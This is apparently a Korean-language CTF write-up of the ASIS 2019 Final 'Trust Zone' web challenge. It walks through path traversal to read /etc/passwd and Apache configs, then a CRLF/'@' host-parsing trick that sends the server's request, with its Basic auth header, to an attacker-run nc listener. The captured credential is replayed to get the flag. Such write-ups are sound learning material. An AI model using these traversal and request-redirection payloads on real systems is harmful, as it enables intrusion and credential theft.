ASIS 2019 Final - Trust Zone

   
1
2
// http://66.172.33.59:5000/
{"code":200,"data":{"start":"/get_doc?url=http://66.172.33.59/docs/doc1.doc"}}

서버에 접속하면, 먼저 링크가 하나 주어집니다.

1
2
// http://66.172.33.59:5000/get_doc?url=http://66.172.33.59/docs/doc1.doc
{"code":200,"data":{"the doc content":"b'Doc 1'"}}

접속하면 문서 내용이 표시되는데, 특별한 내용은 없습니다.
인자의 URL 부분을 퍼징해 보면 앞의 http://66.172.33.59/ 와 끝의 .doc 에 static 한 비교를 수행하고 있다는 것을 알 수 있습니다.
어느 한 부분이라도 만족하지 못하면, Security Error 를 반환합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!-- http://66.172.33.59:5000/get_doc?url=http://66.172.33.59/.doc -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
<head>
<title>Index of /</title>
</head>
<body>
<h1>Index of /</h1>
<table>
<tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
<tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="doc_app/">doc_app/</a></td><td align="right">2019-11-14 14:51 </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="docs/">docs/</a></td><td align="right">2019-11-14 14:51 </td><td align="right"> - </td><td> </td></tr>
<tr><td valign="top"><img src="/icons/folder.gif" alt="[DIR]"></td><td><a href="flag/">flag/</a></td><td align="right">2019-11-14 14:51 </td><td align="right"> - </td><td> </td></tr>
<tr><th colspan="5"><hr></th></tr>
</table>
<address>Apache/2.4.38 (Debian) Server at 66.172.33.59 Port 80</address>
</body></html>

http://66.172.33.59/.doc 을 URL 에 넣어 확인해 보면
이 처럼 디렉토리 리스팅이 되는 것을 확인할 수 있습니다.

1
2
3
4
5
6
7
8
/doc_app
---- doc.php
/docs
---- doc1
---- doc2
---- doc3
/flag
---- flag.php

정리해보면, 내부 웹 서버 구조는 위와 같습니다.

1
2
3
4
5
6
7
8
9
<!DOCTYPE html>
<html>
<head>
<title>DOC Reader</title>
</head>
<body>
<a href="?filename=docktest"></a>
</body>
</html>

이 중에 /doc_app/doc.php 파일이 수상해 보입니다.
인자로 파일 이름을 줄 수 있는데, 실제로 테스트해보면 Traversal 이 가능합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// http://66.172.33.59:5000/get_doc?url=http://66.172.33.59/doc_app/doc.php?filename=../../../etc/passwd%23.doc
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin

위와 같은 방법으로 /etc/passwd 파일을 읽을 수 있었습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- http://66.172.33.59:5000/get_doc?url=http://66.172.33.59/doc_app/doc.php?filename=../../../etc/apache2/sites-enabled/000-default.conf%23.doc -->
<Directory /srv/>
Options Indexes FollowSymLinks
Require all granted
</Directory>

<VirtualHost *:80>
DocumentRoot /srv/app/public

<Directory "/srv/app/public">
AllowOverride all
Require all granted
</Directory>

ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

아파치 설정 파일을 통해, 웹 루트를 확인할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
<!-- http://66.172.33.59:5000/get_doc?url=http://66.172.33.59/doc_app/doc.php?filename=../../../srv/app/public/flag/flag.php%23.doc -->

<?php

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
echo $_ENV['FLAG'];
}else{
echo 'This page only accepts POST method';
}

?>

/flag/flag.php 파일을 확인하면, POST 메소드로 호출할 시에
환경변수에 저장된 FLAG를 출력해 주도록 되어 있습니다.
그러나 현재는 GET 메소드로만 호출이 가능한 상황이므로 플래그를 얻는 것이 불가능합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- /srv/app/public/.htaccess -->
<IfModule mod_rewrite.c>
RewriteEngine On
RedirectMatch 301 (.*).doc$ http://66.172.33.59$1
</IfModule>

AuthType Basic
AuthName "Restricted Content"
AuthUserFile /etc/apache2/.htpasswd
Require valid-user

<!-- /etc/apache2/.htpsswd -->
secr3tUser_sys:$apr1$aWUbyZd0$Ge9ygNPiGeccI5iz645.X0

내부 서버에 직접 접속할 수 있다면, POST 메소드로 페이지를 요청하는 것도 간단할 것 같습니다.
하지만 실제로 접속해보면, 연결 자체가 블록되어 있지는 않지만, basic 인증을 요구하고 있습니다.
.htpasswd 에서 해시값은 알 수 있지만, 평문 패스워드를 알아낼 수는 없습니다.

1
2
<!-- http://66.172.33.59:5000/get_doc?url=http://66.172.33.59/%0a%0d.doc -->
HTTPConnectionPool(host='66.172.33.59%0d', port=80): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f953e32ccd0>: Failed to establish a new connection: [Errno -2] Name or service not known'))

CRLF Injection 혹은 타 호스트로의 접속을 유도할 수 있다면 문제 해결이 가능할 것 같습니다.
따라서 CRLF Injection 이 가능 유무를 확인하던 도중 이상 현상을 확인했습니다.
TrustZone 에서 호스트를 파싱하는 로직에 문제가 있어 보입니다.

1
2
3
4
5
// http://66.172.33.59:5000/get_doc?url=http://66.172.33.59/%0a%0d@.doc
No host specified.

// http://66.172.33.59:5000/get_doc?url=http://66.172.33.59/%0a%0d@p6.is.doc
[Server Content]

위와 같은 방법으로 대상 호스트를 변경 할 수 있었습니다.

1
2
3
4
5
6
7
8
9
10
root@rwx:/var/www/html# nc -lvp 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from ip-66-172-33-59.chunkhost.com 45572 received!
GET / HTTP/1.1
Host: p6.is:9999
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Authorization: Basic c2VjcjN0VXNlcl9zeXM6ZWQ2MGNiZDYwZTgzNzg4NTg5YTI1NGUxMzZiYjAzMGI=

그러면 요청에 포함된 헤더를 통해 크리덴셜을 확인할 수 있습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
[REQUEST]
POST /flag/flag.php? HTTP/1.1
Host: 66.172.33.59
Accept: text/html
Accept-Encoding: gzip, deflate
Authorization: Basic c2VjcjN0VXNlcl9zeXM6ZWQ2MGNiZDYwZTgzNzg4NTg5YTI1NGUxMzZiYjAzMGI=
Connection: close

[RESPONSE]
HTTP/1.1 200 OK
Date: Mon, 18 Nov 2019 20:20:10 GMT
Server: Apache/2.4.38 (Debian)
X-Powered-By: PHP/7.3.11
Content-Length: 38
Connection: close
Content-Type: text/html; charset=UTF-8

ASIS{ce4e0de7ace0353bc9370d36365c3a17}

이를 이용하면, Trust Zone 내부 서버에 직접 접속이 가능해지므로, 플래그를 얻을 수 있습니다.